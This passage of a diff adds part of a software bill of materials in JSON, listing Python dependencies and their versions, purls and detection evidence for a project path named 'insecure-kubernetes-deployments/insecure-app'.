+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "typing-extensions",
+      "version": "4.7.1",
+      "purl": "pkg:pypi/typing-extensions@4.7.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/typing-extensions@4.7.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "cryptography",
+      "version": "3.3.2",
+      "purl": "pkg:pypi/cryptography@3.3.2",
+      "type": "library",
+      "bom-ref": "pkg:pypi/cryptography@3.3.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "cffi",
+      "version": "1.15.1",
+      "purl": "pkg:pypi/cffi@1.15.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/cffi@1.15.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "pycparser",
+      "version": "2.21",
+      "purl": "pkg:pypi/pycparser@2.21",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pycparser@2.21",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "cssselect",
+      "version": "1.1.0",
+      "purl": "pkg:pypi/cssselect@1.1.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/cssselect@1.1.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "itemloaders",
+      "version": "1.0.4",
+      "purl": "pkg:pypi/itemloaders@1.0.4",
+      "type": "library",
+      "bom-ref": "pkg:pypi/itemloaders@1.0.4",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "w3lib",
+      "version": "1.21.0",
+      "purl": "pkg:pypi/w3lib@1.21.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/w3lib@1.21.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "parsel",
+      "version": "1.6.0",
+      "purl": "pkg:pypi/parsel@1.6.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/parsel@1.6.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "lxml",
+      "version": "4.9.3",
+      "purl": "pkg:pypi/lxml@4.9.3",
+      "type": "library",
+      "bom-ref": "pkg:pypi/lxml@4.9.3",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "jmespath",
+      "version": "0.10.0",
+      "purl": "pkg:pypi/jmespath@0.10.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jmespath@0.10.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "itemadapter",
+      "version": "0.3.0",
+      "purl": "pkg:pypi/itemadapter@0.3.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/itemadapter@0.3.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "pyOpenSSL",
+      "version": "23.2.0",
+      "purl": "pkg:pypi/pyopenssl@23.2.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyopenssl@23.2.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "queuelib",
+      "version": "1.5.0",
+      "purl": "pkg:pypi/queuelib@1.5.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/queuelib@1.5.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "service-identity",
+      "version": "18.1.0",
+      "purl": "pkg:pypi/service-identity@18.1.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/service-identity@18.1.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "pyasn1-modules",
+      "version": "0.2.8",
+      "purl": "pkg:pypi/pyasn1-modules@0.2.8",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyasn1-modules@0.2.8",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "pyasn1",
+      "version": "0.4.8",
+      "purl": "pkg:pypi/pyasn1@0.4.8",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyasn1@0.4.8",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "Protego",
+      "version": "0.1.16",
+      "purl": "pkg:pypi/protego@0.1.16",
+      "type": "library",
+      "bom-ref": "pkg:pypi/protego@0.1.16",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "tldextract",
+      "version": "3.2.0",
+      "purl": "pkg:pypi/tldextract@3.2.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tldextract@3.2.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "requests",
+      "version": "2.19.1",
+      "purl": "pkg:pypi/requests@2.19.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/requests@2.19.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "chardet",
+      "version": "3.0.4",
+      "purl": "pkg:pypi/chardet@3.0.4",
+      "type": "library",
+      "bom-ref": "pkg:pypi/chardet@3.0.4",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "urllib3",
+      "version": "1.23",
+      "purl": "pkg:pypi/urllib3@1.23",
+      "type": "library",
+      "bom-ref": "pkg:pypi/urllib3@1.23",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "certifi",
+      "version": "2023.7.22",
+      "purl": "pkg:pypi/certifi@2023.7.22",
+      "type": "library",
+      "bom-ref": "pkg:pypi/certifi@2023.7.22",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "requests-file",
+      "version": "1.5.1",
+      "purl": "pkg:pypi/requests-file@1.5.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/requests-file@1.5.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "filelock",
+      "version": "3.9.0",
+      "purl": "pkg:pypi/filelock@3.9.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/filelock@3.9.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "PyDispatcher",
+      "version": "2.0.5",
+      "purl": "pkg:pypi/pydispatcher@2.0.5",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pydispatcher@2.0.5",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "secretstorage",
+      "version": "latest",
+      "purl": "pkg:pypi/secretstorage@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/secretstorage@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jeepney",
+      "version": "0.7.1",
+      "purl": "pkg:pypi/jeepney@0.7.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jeepney@0.7.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "send2trash",
+      "version": "latest",
+      "purl": "pkg:pypi/send2trash@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/send2trash@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "sphinx",
+      "version": "latest",
+      "purl": "pkg:pypi/sphinx@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sphinx@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "sphinxcontrib-applehelp",
+      "version": "1.0.2",
+      "purl": "pkg:pypi/sphinxcontrib-applehelp@1.0.2",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sphinxcontrib-applehelp@1.0.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "sphinxcontrib-devhelp",
+      "version": "1.0.2",
+      "purl": "pkg:pypi/sphinxcontrib-devhelp@1.0.2",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sphinxcontrib-devhelp@1.0.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "sphinxcontrib-jsmath",
+      "version": "1.0.1",
+      "purl": "pkg:pypi/sphinxcontrib-jsmath@1.0.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sphinxcontrib-jsmath@1.0.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "sphinxcontrib-htmlhelp",
+      "version": "2.0.0",
+      "purl": "pkg:pypi/sphinxcontrib-htmlhelp@2.0.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sphinxcontrib-htmlhelp@2.0.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "sphinxcontrib-serializinghtml",
+      "version": "1.1.5",
+      "purl": "pkg:pypi/sphinxcontrib-serializinghtml@1.1.5",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sphinxcontrib-serializinghtml@1.1.5",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "sphinxcontrib-qthelp",
+      "version": "1.0.3",
+      "purl": "pkg:pypi/sphinxcontrib-qthelp@1.0.3",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sphinxcontrib-qthelp@1.0.3",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "Jinja2",
+      "version": "3.1.2",
+      "purl": "pkg:pypi/jinja2@3.1.2",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jinja2@3.1.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "MarkupSafe",
+      "version": "2.1.1",
+      "purl": "pkg:pypi/markupsafe@2.1.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/markupsafe@2.1.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "Pygments",
+      "version": "2.15.1",
+      "purl": "pkg:pypi/pygments@2.15.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pygments@2.15.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "docutils",
+      "version": "0.18.1",
+      "purl": "pkg:pypi/docutils@0.18.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/docutils@0.18.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "snowballstemmer",
+      "version": "2.2.0",
+      "purl": "pkg:pypi/snowballstemmer@2.2.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/snowballstemmer@2.2.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "Babel",
+      "version": "2.11.0",
+      "purl": "pkg:pypi/babel@2.11.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/babel@2.11.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "pytz",
+      "version": "2023.3.post1",
+      "purl": "pkg:pypi/pytz@2023.3.post1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pytz@2023.3.post1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "alabaster",
+      "version": "0.7.12",
+      "purl": "pkg:pypi/alabaster@0.7.12",
+      "type": "library",
+      "bom-ref": "pkg:pypi/alabaster@0.7.12",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "imagesize",
+      "version": "1.4.1",
+      "purl": "pkg:pypi/imagesize@1.4.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/imagesize@1.4.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "tbb",
+      "version": "0.2",
+      "purl": "pkg:pypi/tbb@0.2",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tbb@0.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "unidecode",
+      "version": "latest",
+      "purl": "pkg:pypi/unidecode@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/unidecode@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "aiobotocore",
